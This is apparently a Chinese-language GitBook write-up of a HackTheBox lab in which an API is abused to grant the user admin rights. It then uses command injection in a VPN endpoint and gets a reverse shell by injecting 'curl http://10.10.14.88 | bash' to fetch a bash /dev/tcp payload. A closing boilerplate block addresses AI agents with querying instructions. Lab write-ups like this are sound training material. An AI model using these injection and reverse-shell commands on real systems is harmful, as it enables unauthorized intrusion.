> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/api-attack/abus-api-hackthebox.md).

# HackTheBox API 滥用

## HACKTHEBOX API 的利用

<figure><img src="/files/cb8e414c676ebdc38c3abd939c4b04481fbcffff" alt=""><figcaption></figcaption></figure>

#### 对 API 的观察

通过访问 `/api`，我们观察到可用的路由

<figure><img src="/files/dd43c9a469ae7ab03862a1110c2083bebb37eae7" alt=""><figcaption></figcaption></figure>

#### VPN 配置生成尝试（初始失败）

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate

```

响应：未授权。

<figure><img src="/files/eefeea61295e422d28e7b5b70b0dae6a1fa33256" alt=""><figcaption></figcaption></figure>

#### 通过 API 修改我们的角色

<figure><img src="/files/958b7baa8fabd60803a423e2413c5ef735d40e7d" alt=""><figcaption></figcaption></figure>

我们使用以下路由测试修改 user 参数：

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update

```

> {"status":"danger","message":"缺少参数：email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'

```

> {"status":"danger","message":"缺少参数：is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'

```

> 响应：
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="/files/a25a2d0cfa4fd614d5561d41fb752bc65a827824" alt=""><figcaption></figcaption></figure>

#### 验证我们的管理员状态

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}

```

<figure><img src="/files/54dc1e82e210d5e2d34875896d83b7b12916cfd8" alt="" width="563"><figcaption></figcaption></figure>

### 通过命令注入实现 RCE

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'

```

<figure><img src="/files/e83f58f28bef03464a63c7e609b5fbad1a8dfe1f" alt=""><figcaption></figcaption></figure>

在该字段中尝试命令注入 `username`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'

```

<figure><img src="/files/e7fe70fd606f4d30707f4735decb9936c39ec332" alt=""><figcaption></figcaption></figure>

#### 反向 Shell

1. **服务器文件**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80

```

2. **Netcat 监听器**

```bash
nc -nvlp 443

```

3. **发送命令**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'

```

我们获得了一个反向 shell

<figure><img src="/files/6882e2b310efc8eb34fcf1a72e6c309353c0be09" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/api-attack/abus-api-hackthebox.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
